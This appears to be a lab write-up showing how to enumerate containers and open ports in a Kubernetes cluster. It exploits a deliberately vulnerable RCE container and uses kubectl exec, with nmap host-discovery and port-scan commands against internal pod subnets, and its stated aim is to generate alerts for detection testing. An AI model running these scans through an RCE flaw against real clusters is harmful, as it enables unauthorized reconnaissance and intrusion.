K8s Runtime Attack Scenarios-3
In this article, I will show the detection of running containers and open ports in the K8s environment by taking advantage both of the vulnerability of the application running on “rce-hacker-container” and connecting to the container with “kubectl” command.
Introduction
Purpose of attack
In this attack scenario, I will use the Docker image named “rce-hacker-container”, which contains many penetration testing tools and has Remote Code Execution vulnerability on port 4444. Here I will show you how to do simple network enumeration operations inside the container by exploiting the RCE vulnerability and using kubectl command.
Goal
The goal here should be to generate and capture alarms for the commands run in the container and the network traffic generated by using the tools inside the container.
Lab Setup
Warning 1
Since I am running the K8s Cluster through Apple Silicon, I changed the container image tag below to “arm64”, but if you are working on a processor using “amd64” architecture, you do not need to make any changes.
“amd64” and “arm64” versions are available on Dockerhub.
Setup
If everything is fine, it will be sufficient to use the file named “environment.yml” in the address I shared below for installation. You can read the file named “README.md” to get information about the content of the relevant file.
To install the environment, it will be enough to run the following command.
kubectl apply -f https://raw.githubusercontent.com/Erdemstar/K8s-Runtime-Attack-Scenario/main/Scenario-3/environment.ymlAfter the command is run, the output should consist of the following.
Objects under the namespace named “Vulnerable” should display the result below.
Warning 2
In order to create the Kubernetes Cluster environment quickly, I used the tool called Minikube and preferred Docker as the driver. While this preference has the advantage of making the installations fast, it also has the problem of accessing the services created in NodePort type :) If you have made such a choice, it may be useful to follow the steps below to solve this problem.
minikube service --namespace=vulnerable attacker-serviceAfter running the above command it should be like bellow image. Here, it is possible to access the vulnerable-service from 2 different IPs. The first Minikube Controlplane Node IP 192.168.49.2 can be used. On the other hand, you can use the port forwarding feature with your Minikube machine and send localhost traffic 192.168.49.2:30080. (The bind port on the localhost side may vary.).
Since there is an access problem caused by the Docker environment, I will access it over localhost. The address I will go to is as follows.
The screen you should see before trying the attack scenario is as follows.
Attack
Preparation
In order to show Request / Response in detail, I will create a sample Remote Code Execution request via URL then send it to Burp Repeater and perform my controls over Burp.
After verifying the existence of the relevant vulnerabilities at this stage, let’s try to list binary which is useful for network enumeration. Bellow i tried to show you which binary we can use to create network request. In this article i’ll prefer to use nmap but alternative you can create network traffic using netcat (nc) or hping etc. command.
Attack 1
Host Discovery
Before creating any network traffic with Nmap, the IP Address used by the relevant container can be obtained by sending the following request.
Once the IP Address is known, a scan can be performed on the subnet where this IP is located. To do this, an nmap command is created as follows, the URL is encoded and sent to the application. At this stage, it is expected that containers that are UP will be detected.
- sn : Ping Scan — disable port scan
- open : Only show open (or possibly open) ports
- v : Increase verbosity level (use -vv or more for greater effect)
- oN : Output scan in normal, XML, s|<rIpt kIddi3
nmap -sn --open -vvv 10.244.1.0/24 -oN result.txt
When the result obtained after running the command was checked, an error message was encountered indicating that the relevant command did not work.
In the error, it is mentioned that there is a mode called unprivileged. When the scan was performed again by adding this parameter, the containers that was UP was detected.
- unprivileged : It tells nmap to treat the user as lacking network raw socket and sniffing privileges. This is useful for testing, debugging, or when the raw network functionality of your operating system is somehow broken
Port Scanning
At this stage, port scanning will be performed using the IP address of one of the containers that is UP in the relevant subnet. Port scanning can be performed using a command like the one below.
nmap -Pn -n --top-ports 50 -vvv --open --unprivileged 10.244.1.5 -On result.txt- Pn : Treat all hosts as online - skip host discovery
- n : -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
- top-ports : <number>: Scan <number> most common ports
As a result, the open ports of a container we selected through NMAP and RCE vulnerability were detected.
Attack 2
Host discovery and port scanning were performed above through the RCE vulnerability, but this attack can be carried out from within the pod and network traffic can be created in a similar way. As an example of this situation, the following steps can be followed.
First, the Pod name information on which the work will be done is listed.
Then, the pod name is used together with the kubectl command to obtain a bash connection from the relevant pod.
Host Discovery
After obtaining the session, the following Host Discovery scan can be created with nmap.
Port Scanning
After obtaining the session, the Port Scanning scan can be created with nmap as follows.
Click here to see my other articles about web vulnerabilities. Link
